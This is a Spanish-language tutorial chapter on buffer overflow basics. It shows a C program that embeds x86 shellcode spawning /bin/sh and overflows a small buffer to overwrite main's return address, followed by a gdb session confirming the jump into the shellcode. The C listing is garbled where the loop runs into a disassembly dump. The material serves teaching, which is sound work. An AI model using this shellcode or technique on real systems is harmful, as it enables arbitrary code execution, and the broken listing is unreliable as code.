[FADB] 9. Ejecución de una cadena de caracteres mediante desbordamiento de buffer

FUNDAMENTOS DE LOS ATAQUES POR DESBORDAMIENTO DE BUFFER

¿Cómo obtenemos el mismo resultado utilizando la técnica del desbordamiento de buffer? Podemos crear un array que contenga varias veces la dirección de la cadena de caracteres ejecutable y copiarlo a un buffer más pequeño, desbordándolo y con suerte sobreescribiendo la dirección de retorno en la pila. Echémosle un vistazo al siguiente código en C, llamado prueba5.c:

char str[50];
void main()
{
char *code= // 26 bytes
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x68\x2f\x73\x68\x00" // pushl $0x68732f
"\x68\x2f\x62\x69\x6e" // pushl $0x6e69622f
"\x89\xe3" // movl %esp,%ebx
"\x50" // pushl %eax
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\x31\xd2" // xor %edx,%edx
"\xb0\x0b" // movb $0x0b,%al
"\xcd\x80" // int $0x80
;
int i;
char buff[5];
int *p = (int *)str;
for (i = 0; i <>: push %ebp
0x804833d : mov %esp,%ebp
0x804833f : sub $0x38,%esp
0x8048342 : and $0xfffffff0,%esp
0x8048345 : mov $0x0,%eax
0x804834a : sub %eax,%esp
0x804834c : movl $0x80483e8,0xfffffff4(%ebp)
0x8048353 : movl $0x8049540,0xffffffd4(%ebp)
0x804835a : movl $0x0,0xfffffff0(%ebp)
0x8048361 : cmpl $0x31,0xfffffff0(%ebp)
0x8048365 : jle 0x8048369
0x8048367 : jmp 0x8048381
0x8048369 : mov 0xffffffd4(%ebp),%eax
0x804836c : mov %eax,%edx
0x804836e : mov 0xfffffff4(%ebp),%eax
0x8048371 : mov %eax,(%edx)
0x8048373 : lea 0xffffffd4(%ebp),%eax
0x8048376 : addl $0x4,(%eax)
0x8048379 : lea 0xfffffff0(%ebp),%eax
0x804837c : addl $0x4,(%eax)
0x804837f : jmp 0x8048361
0x8048381 : sub $0x8,%esp
0x8048384 : push $0x8049540
0x8048389 : lea 0xffffffd8(%ebp),%eax
0x804838c : push %eax
0x804838d : call 0x8048268
0x8048392 : add $0x10,%esp
0x8048395 : leave
0x8048396 : ret
End of assembler dump.
(gdb)

Creo que el código en C queda suficientemente claro, no vamos a entrar en los detalles en ensamblador. Sin emabargo vamos a poner un punto de interrupción justo antes de RET () para comprobar cuál es la dirección de retorno de main().

(gdb) b *0x8048396
Breakpoint 1 at 0x8048396: file prueba5.c, line 28.
(gdb) r
Starting program: /home/m0s/Programacion/C%2fC++/prueba5
Breakpoint 1, 0x08048396 in main () at prueba5.c:28
(gdb) i r esp
esp 0xbffff80c 0xbffff80c
(gdb) x 0xbffff80c
0xbffff80c: 0x080483e8
(gdb) x 0x080483e8
0x80483e8 <_io_stdin_used+4>: 0x6850c031
(gdb)

Efectivamente salta a nuestra cadena de caracteres maliciosa.